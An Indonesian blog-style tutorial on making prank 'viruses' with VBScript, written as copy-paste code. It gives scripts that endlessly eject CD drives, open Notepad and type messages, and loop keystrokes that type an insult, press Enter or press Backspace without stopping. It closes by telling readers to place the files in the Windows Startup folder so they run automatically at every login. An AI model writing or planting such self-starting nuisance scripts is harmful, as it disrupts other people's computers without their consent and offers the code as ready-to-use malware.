Cara Membuat Virus Nakal Menggunakan Script.vbs

Bagi teman-teman yang ingin membuat virus berbasis script.vbs silahkan di lihat caranya disini...!!
Cara membuat virus ini gampang kok...  Tinggal Copas juga bisa, ok langsung ke topik aj ya., Ne Script nya.


Caranya: Buka notepad dan masukkan code berikut,

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

Nah mau script .vbs yang laen lagi?

WScript.Sleep 18000

WScript.Sleep 1000

do

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "H"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "l"

WScript.Sleep 500

WshShell.SendKeys "o"

WScript.Sleep 500

WshShell.SendKeys ". "

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "p"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys " "

WScript.Sleep 500

WshShell.SendKeys "k"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "b"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "r"

WScript.Sleep 500

WshShell.SendKeys "?"

WScript.Sleep 500

WshShell.SendKeys " "

WScript.Sleep 500

WshShell.SendKeys "K"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "b"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "r"

WScript.Sleep 500

WshShell.SendKeys " "

WScript.Sleep 500

WshShell.SendKeys "b"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "i"

WScript.Sleep 500

WshShell.SendKeys "k"

WScript.Sleep 500

WshShell.SendKeys "?"

WScript.Sleep 500

wscript.sleep 5000

loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?

ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "Kamu emang jelak koq!"

loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep  100

wshshell.sendkeys "~(enter)"

loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"

Set wshShell  =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys  "{bs}"

loop

Virus ini memang tdk bsa jlan sndri, tpi jika teman ingin membuat virus ini berjalan sendiri, silahkan buat virus ini di folder "STARTUP" Caranya klik Start>Program>Startup setelah itu klik kanan>Open. Nah di folder itu lah copy kan virus yang telah di buat tadi...

Semoga bermanfaat.. Thank's!!!